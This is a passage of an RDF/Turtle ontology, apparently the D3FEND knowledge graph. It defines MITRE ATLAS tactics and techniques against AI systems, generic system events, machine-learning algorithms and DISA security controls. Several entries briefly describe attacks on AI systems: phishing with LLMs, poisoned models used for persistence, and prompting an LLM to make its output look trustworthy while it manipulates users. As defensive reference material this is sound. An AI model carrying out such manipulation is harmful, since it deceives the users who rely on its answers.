    d3f:definition "Adversaries may develop their own capabilities to support operations. This process encompasses identifying requirements, building solutions, and deploying capabilities. Capabilities used to support attacks on AI-enabled systems are not necessarily AI-based themselves. Examples include setting up websites with adversarial information or creating Jupyter notebooks with obfuscated exfiltration code." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0017> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Develop Capabilities" .

d3f:AML.T0052 a owl:Class ;
    rdfs:label "Phishing - ATLAS" ;
    d3f:attack-id "AML.T0052" ;
    d3f:definition """Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Generative AI, including LLMs that generate synthetic text, visual deepfakes of faces, and audio deepfakes of speech, is enabling adversaries to scale targeted phishing campaigns. LLMs can interact with users via text conversations and can be programmed with a meta prompt to phish for sensitive information. Deepfakes can be use in impersonation as an aid to phishing.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0052> ;
    rdfs:subClassOf d3f:ATLASInitialAccessTechnique ;
    skos:prefLabel "Phishing" .

d3f:AML.T0067 a owl:Class ;
    rdfs:label "LLM Trusted Output Components Manipulation - ATLAS" ;
    d3f:attack-id "AML.T0067" ;
    d3f:definition """Adversaries may utilize prompts to a large language model (LLM) which manipulate various components of its response in order to make it appear trustworthy to the user. This helps the adversary continue to operate in the victim's environment and evade detection by the users it interacts with.

The LLM may be instructed to tailor its language to appear more trustworthy to the user or attempt to manipulate the user to take certain actions. Other response components that could be manipulated include links, recommended follow-up actions, retrieved document metadata, and [Citations](/techniques/AML.T0067.000).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0067> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique ;
    skos:prefLabel "LLM Trusted Output Components Manipulation" .

d3f:AML.T0091 a owl:Class ;
    rdfs:label "Use Alternate Authentication Material - ATLAS" ;
    d3f:attack-id "AML.T0091" ;
    d3f:definition """Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

AI services commonly use alternate authentication material as a primary means for users to make queries, making them vulnerable to this technique.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0091> ;
    rdfs:subClassOf d3f:ATLASLateralMovementTechnique ;
    skos:prefLabel "Use Alternate Authentication Material" .

d3f:AML.TA0000 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "AI Model Access - ATLAS" ;
    d3f:attack-id "AML.TA0000" ;
    d3f:definition """The adversary is attempting to gain some level of access to an AI model.

AI Model Access enables techniques that use various types of access to the AI model that can be used by the adversary to gain information, develop attacks, and as a means to input data to the model.
The level of access can range from the full knowledge of the internals of the model to access to the physical environment where data is collected for use in the AI model.
The adversary may use varying levels of model access during the course of their attack, from staging the attack to impacting the target system.

Access to an AI model may require access to the system housing the model, the model may be publicly accessible via an API, or it may be accessed indirectly via interaction with a product or service that utilizes AI as part of its processes.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0000> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "AI Model Access" .

d3f:AML.TA0001 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "AI Attack Staging - ATLAS" ;
    d3f:attack-id "AML.TA0001" ;
    d3f:definition """The adversary is leveraging their knowledge of and access to the target system to tailor the attack.

AI Attack Staging consists of techniques adversaries use to prepare their attack on the target AI model.
Techniques can include training proxy models, poisoning the target model, and crafting adversarial data to feed the target model.
Some of these techniques can be performed in an offline manner and are thus difficult to mitigate.
These techniques are often used to achieve the adversary's end goal.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0001> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "AI Attack Staging" .

d3f:AML.TA0002 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Reconnaissance - ATLAS" ;
    d3f:attack-id "AML.TA0002" ;
    d3f:definition """The adversary is trying to gather information about the AI system they can use to plan future operations.

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting.
Such information may include details of the victim organizations' AI capabilities and research efforts.
This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to obtain relevant AI artifacts, targeting AI capabilities used by the victim, tailoring attacks to the particular models used by the victim, or to drive and lead further Reconnaissance efforts.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0002> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Reconnaissance" .

d3f:AML.TA0003 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Resource Development - ATLAS" ;
    d3f:attack-id "AML.TA0003" ;
    d3f:definition """The adversary is trying to establish resources they can use to support operations.

Resource Development consists of techniques that involve adversaries creating,
purchasing, or compromising/stealing resources that can be used to support targeting.
Such resources include AI artifacts, infrastructure, accounts, or capabilities.
These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as [AI Attack Staging](/tactics/AML.TA0001).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0003> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Resource Development" .

d3f:AML.TA0004 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Initial Access - ATLAS" ;
    d3f:attack-id "AML.TA0004" ;
    d3f:definition """The adversary is trying to gain access to the AI system.

The target system could be a network, mobile device, or an edge device such as a sensor platform.
The AI capabilities used by the system could be local with onboard or cloud-enabled AI capabilities.

Initial Access consists of techniques that use various entry vectors to gain their initial foothold within the system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0004> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Initial Access" .

d3f:AML.TA0005 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution - ATLAS" ;
    d3f:attack-id "AML.TA0005" ;
    d3f:definition """The adversary is trying to run malicious code embedded in AI artifacts or software.

Execution consists of techniques that result in adversary-controlled code running on a local or remote system.
Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data.
For example, an adversary might use a remote access tool to run a PowerShell script that does [Remote System Discovery](https://attack.mitre.org/techniques/T1018/).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0005> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Execution" .

d3f:AML.TA0006 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Persistence - ATLAS" ;
    d3f:attack-id "AML.TA0006" ;
    d3f:definition """The adversary is trying to maintain their foothold via AI artifacts or software.

Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access.
Techniques used for persistence often involve leaving behind modified ML artifacts such as poisoned training data or manipulated AI models.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0006> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Persistence" .

d3f:AML.TA0007 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Defense Evasion - ATLAS" ;
    d3f:attack-id "AML.TA0007" ;
    d3f:definition """The adversary is trying to avoid being detected by AI-enabled security software.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise.
Techniques used for defense evasion include evading AI-enabled security software such as malware detectors.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0007> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Defense Evasion" .

d3f:AML.TA0008 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Discovery - ATLAS" ;
    d3f:attack-id "AML.TA0008" ;
    d3f:definition """The adversary is trying to figure out your AI environment.

Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network.
These techniques help adversaries observe the environment and orient themselves before deciding how to act.
They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective.
Native operating system tools are often used toward this post-compromise information-gathering objective.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0008> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Discovery" .

d3f:AML.TA0009 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Collection - ATLAS" ;
    d3f:attack-id "AML.TA0009" ;
    d3f:definition """The adversary is trying to gather AI artifacts and other related information relevant to their goal.

Collection consists of techniques adversaries may use to gather information and the sources information is collected from that are relevant to following through on the adversary's objectives.
Frequently, the next goal after collecting data is to steal (exfiltrate) the AI artifacts, or use the collected information to stage future operations.
Common target sources include software repositories, container registries, model repositories, and object stores.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0009> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Collection" .

d3f:AML.TA0010 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration - ATLAS" ;
    d3f:attack-id "AML.TA0010" ;
    d3f:definition """The adversary is trying to steal AI artifacts or other information about the AI system.

Exfiltration consists of techniques that adversaries may use to steal data from your network.
Data may be stolen for its valuable intellectual property, or for use in staging future operations.

Techniques for getting data out of a target network typically include transferring it over their command and control channel or an alternate channel and may also include putting size limits on the transmission.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0010> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Exfiltration" .

d3f:AML.TA0011 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impact - ATLAS" ;
    d3f:attack-id "AML.TA0011" ;
    d3f:definition """The adversary is trying to manipulate, interrupt, erode confidence in, or destroy your AI systems and data.

Impact consists of techniques that adversaries use to disrupt availability or compromise integrity by manipulating business and operational processes.
Techniques used for impact can include destroying or tampering with data.
In some cases, business processes can look fine, but may have been altered to benefit the adversaries' goals.
These techniques might be used by adversaries to follow through on their end goal or to provide cover for a confidentiality breach.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0011> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Impact" .

d3f:AML.TA0012 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Privilege Escalation - ATLAS" ;
    d3f:attack-id "AML.TA0012" ;
    d3f:definition """The adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include:
- SYSTEM/root level
- local administrator
- user account with admin-like access
- user accounts with access to specific system or perform specific function

These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0012> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Privilege Escalation" .

d3f:AML.TA0013 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Access - ATLAS" ;
    d3f:attack-id "AML.TA0013" ;
    d3f:definition """The adversary is trying to steal account names and passwords.

Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0013> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Credential Access" .

d3f:AML.TA0014 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command and Control - ATLAS" ;
    d3f:attack-id "AML.TA0014" ;
    d3f:definition """The adversary is trying to communicate with compromised AI systems to control them.

Command and Control consists of techniques that adversaries may use to communicate with systems under their control within a victim network. Adversaries commonly attempt to mimic normal, expected traffic to avoid detection. There are many ways an adversary can establish command and control with various levels of stealth depending on the victim's network structure and defenses.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0014> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Command and Control" .

d3f:AML.TA0015 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Movement - ATLAS" ;
    d3f:attack-id "AML.TA0015" ;
    d3f:definition """The adversary is trying to move through your AI environment.

Lateral Movement consists of techniques that adversaries may use to gain access to and control other systems or components in the environment. Adversaries may pivot towards AI Ops infrastructure such as model registries, experiment trackers, vector databases, notebooks, or training pipelines. As the adversary moves through the environment, they may discover means of accessing additional AI-related tools, services, or applications. AI agents may also be a valuable target as they commonly have more permissions than standard user accounts on the system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/tactics/AML.TA0015> ;
    rdfs:subClassOf d3f:ATLASTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Lateral Movement" .

d3f:ATLASCommandAndControlTechnique a owl:Class ;
    rdfs:label "Command and Control Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0014 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Command and Control Technique" .

d3f:ATLASLateralMovementTechnique a owl:Class ;
    rdfs:label "Lateral Movement Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0015 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Lateral Movement Technique" .

d3f:Actuator a owl:Class ;
    rdfs:label "Actuator" ;
    d3f:definition "An actuator is a mechanical or electromechanical device that, upon receiving a relatively low-energy control signal (e.g., electrical voltage, fluid pressure, or human force), translates its primary energy source (electric, hydraulic, or pneumatic) into targeted mechanical motion or adjustment. It typically works in conjunction with a control device (like a valve or logic driver) and is central to automation, enabling machines or systems to move, open, close, or otherwise manipulate their components or environment. By amplifying or redirecting energy from one form to another, the actuator executes control commands, thereby automating processes in industrial, automotive, aerospace, and other domains where precise mechanical action is essential." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Actuator> ;
    rdfs:subClassOf d3f:OutputDevice .

d3f:AddUserToGroupEvent a owl:Class ;
    rdfs:label "Add User to Group Event" ;
    d3f:definition "An event where a user is added to a group, granting the user the permissions and privileges associated with the group." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:GroupCreationEvent ],
        d3f:GroupManagementEvent .

d3f:AddressSpace a owl:Class ;
    rdfs:label "Address Space" ;
    d3f:definition "An address space defines a range of discrete addresses, each of which may correspond to a network host, peripheral device, disk sector, a memory cell or other logical or physical entity. For software programs to save and retrieve stored data, each unit of data must have an address where it can be located. The number of address spaces available depends on the underlying address structure, which is usually limited by the computer architecture being used." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Address_space> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:ApplicationDeletionEvent a owl:Class ;
    rdfs:label "Application Deletion Event" ;
    d3f:definition "An event capturing the removal of an application from a system, ensuring its binaries, configuration files, and registry entries are deleted or deactivated." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationInstallationEvent ],
        d3f:ApplicationEvent .

d3f:ApplicationDisableEvent a owl:Class ;
    rdfs:label "Application Disable Event" ;
    d3f:definition "An event capturing the disabling of an application, preventing it from being operational or accessed until re-enabled." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationEnableEvent ],
        d3f:ApplicationEvent .

d3f:ApplicationLayerFirewall a owl:Class ;
    rdfs:label "Application Layer Firewall" ;
    d3f:definition "An application firewall is a form of firewall that controls input, output, and/or access from, to, or by an application or service. It operates by monitoring and potentially blocking the input, output, or system service calls that do not meet the configured policy of the firewall. The application firewall is typically built to control all network traffic on any OSI layer up to the application layer. It is able to control applications or services specifically, unlike a stateful network firewall, which is - without additional software - unable to control network traffic regarding a specific application. There are two primary categories of application firewalls, network-based application firewalls and host-based application firewalls." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Application_firewall> ;
    rdfs:subClassOf d3f:Firewall ;
    skos:altLabel "Application Firewall" .

d3f:ApplicationRestartEvent a owl:Class ;
    rdfs:label "Application Restart Event" ;
    d3f:definition "An event where an application is sequentially stopped and started, typically to refresh its state, apply updates, or resolve issues while preserving its availability." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:ApplicationStopEvent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:precedes ;
            owl:someValuesFrom d3f:ApplicationStartEvent ],
        d3f:ApplicationEvent .

d3f:ApplicationRule a owl:Class ;
    rdfs:label "Application Rule" ;
    d3f:definition "A configuration of an application which is used to apply logical or data processing functions to data processed by the application." ;
    rdfs:subClassOf d3f:ApplicationConfiguration .

d3f:ApplicationRuntimeVariable a owl:Class ;
    rdfs:label "Application Runtime Variable" ;
    d3f:definition "A system variable that tracks aspects of runtime of a system." ;
    rdfs:subClassOf d3f:RuntimeVariable .

d3f:ApproximateStringMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Approximate String Matching" ;
    d3f:d3fend-id "D3A-ASM" ;
    d3f:definition "Approximate string matching is a form of string matching that allows errrors." ;
    d3f:kb-article """## References
1. Navarro, G. (2001). A guided tour to approximate string matching. _ACM Computing Surveys_, 33(1), 31-88. [Link](https://doi.org/10.1145/375360.375365)""" ;
    rdfs:subClassOf d3f:PartialMatching .

d3f:AssetInventoryAgent a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Asset Inventory Agent" ;
    d3f:definition "An asset inventory agent is a software tool which captures and transmits information about the devices on a network, including their hostnames, MAC addresses, software they may be running, etc." ;
    rdfs:seeAlso <https://www.ninjaone.com/blog/how-to-do-an-it-asset-inventory> ;
    rdfs:subClassOf d3f:NetworkAgent .

d3f:AssignPrivilegesToGroupEvent a owl:Class ;
    rdfs:label "Assign Privileges to Group Event" ;
    d3f:definition "An event where specific privileges or rights are granted to a group, enabling its members to perform actions or access resources as defined by the privileges." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:GroupCreationEvent ],
        d3f:GroupManagementEvent,
        d3f:PermissionGrantingEvent .

d3f:AuthorizationEvent a owl:Class ;
    rdfs:label "Authorization Event" ;
    d3f:definition "An event reflecting the decision-making process and actions concerning access control, recording whether agents are permitted or denied access to resources based on pre-defined access control policies." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Agent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:caused-by ;
            owl:someValuesFrom d3f:Authorization ],
        d3f:DigitalEvent .

d3f:BayesianLinearRegression a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bayesian Linear Regression" ;
    d3f:d3fend-id "D3A-BLR" ;
    d3f:definition "Bayesian linear regression is a type of conditional modeling in which the mean of one variable is described by a linear combination of other variables, with the goal of obtaining the posterior probability of the regression coefficients." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Bayesian linear regression. [Link](https://en.wikipedia.org/wiki/Bayesian_linear_regression)""" ;
    rdfs:subClassOf d3f:RegressionAnalysis .

d3f:BinaryLargeObject a owl:Class ;
    rdfs:label "Binary Large Object" ;
    d3f:definition "A binary large object (BLOB) is a collection of binary data stored as a single entity. Blobs are typically images, audio or other multimedia objects, though sometimes binary executable code is stored as a blob." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Binary_large_object> ;
    rdfs:subClassOf d3f:DigitalInformationBearer ;
    skos:altLabel "BLOB",
        "Blob" .

d3f:BootstrapAggregating a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Bootstrap Aggregating" ;
    d3f:d3fend-id "D3A-BA" ;
    d3f:definition "Bootstrap aggregating, also called bagging (from bootstrap aggregating), is a machine learning ensemble meta-algorithm designed to improve the stability and accuracy of machine learning algorithms used in statistical classification and regression. It also reduces variance and helps to avoid overfitting. Although it is usually applied to decision tree methods, it can be used with any type of method. Bagging is a special case of the model averaging approach." ;
    d3f:kb-article """## References
Bootstrap aggregating. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Bootstrap_aggregating).""" ;
    rdfs:subClassOf d3f:ResamplingEnsemble .

d3f:CAPECThing a owl:Class ;
    rdfs:label "CAPEC Thing" ;
    rdfs:subClassOf d3f:ExternalThreatModelThing .

d3f:CART a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "CART" ;
    d3f:d3fend-id "D3A-CAR" ;
    d3f:definition "The CART algorithm is a type of classification algorithm that is required to build a decision tree on the basis of Gini’s impurity index." ;
    d3f:kb-article """## References
Classification and Regression Tree (CART) Algorithm. Analytics Steps. [Link](https://www.analyticssteps.com/blogs/classification-and-regression-tree-cart-algorithm).""" ;
    rdfs:subClassOf d3f:DecisionTree .

d3f:CCI-000015_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000015" ;
    d3f:broader d3f:AccountLocking,
        d3f:DomainAccountMonitoring,
        d3f:LocalAccountMonitoring ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization employs automated mechanisms to support the information system account management functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000016_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000016" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically removes or disables temporary accounts after an organization-defined time period for each type of account." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000017_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000017" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically disables inactive accounts after an organization-defined time period." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000018_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000018" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system automatically audits account creation actions." ;
    d3f:exactly d3f:DomainAccountMonitoring ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000020_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000020" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system dynamically manages user privileges and associated access authorizations." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000022_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000022" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces one or more organization-defined nondiscretionary access control policies over an organization-defined set of users and resources." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000025_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000025" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces information flow control using explicit security attributes on information, source, and destination objects as a basis for flow control decisions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000027_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000027" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces dynamic information flow control based on organization-defined policies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000029_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000029" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces organization-defined limitations on the embedding of data types within other data types." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000030_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000030" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces information flow control based on organization-defined metadata." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000032_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000032" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces information flow control using organization-defined security policy filters as a basis for flow control decisions for organization-defined information flows." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000034_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000034" ;
    d3f:broader d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides the capability for a privileged administrator to enable/disable organization-defined security policy filters under organization-defined conditions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-05-13T00:00:00"^^xsd:dateTime .

d3f:CCI-000035_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000035" ;
    d3f:broader d3f:InboundTrafficFiltering,
        d3f:OutboundTrafficFiltering ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system provides the capability for privileged administrators to configure the organization-defined security policy filters to support different security policies." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000037_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000037" ;
    d3f:broader d3f:LocalFilePermissions,
        d3f:UserAccountPermissions ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization implements separation of duties through assigned information system access authorizations." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000040_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000040" ;
    d3f:broader d3f:AuthorizationEventThresholding,
        d3f:LocalAccountMonitoring ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The organization audits any use of privileged accounts, or roles, with access to organization-defined security functions or security-relevant information, when accessing other system functions." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000044_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000044" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system enforces the organization-defined limit of consecutive invalid logon attempts by a user during the organization-defined time period." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
    d3f:narrower d3f:AccountLocking ;
    d3f:published "2009-09-14T00:00:00"^^xsd:dateTime .

d3f:CCI-000047_v2022-04-05 a d3f:CCIControl,
        owl:NamedIndividual ;
    rdfs:label "CCI-000047" ;
    d3f:contributor d3f:DISA_FSO ;
    d3f:definition "The information system delays next login prompt according to the organization-defined delay algorithm, when the maximum number of unsuccessful attempts is exceeded, automatically locks the account/node for an organization-defined time period or locks the account/node until released by an Administrator IAW organizational policy." ;
    d3f:member-of d3f:CCICatalog_v2022-04-05 ;
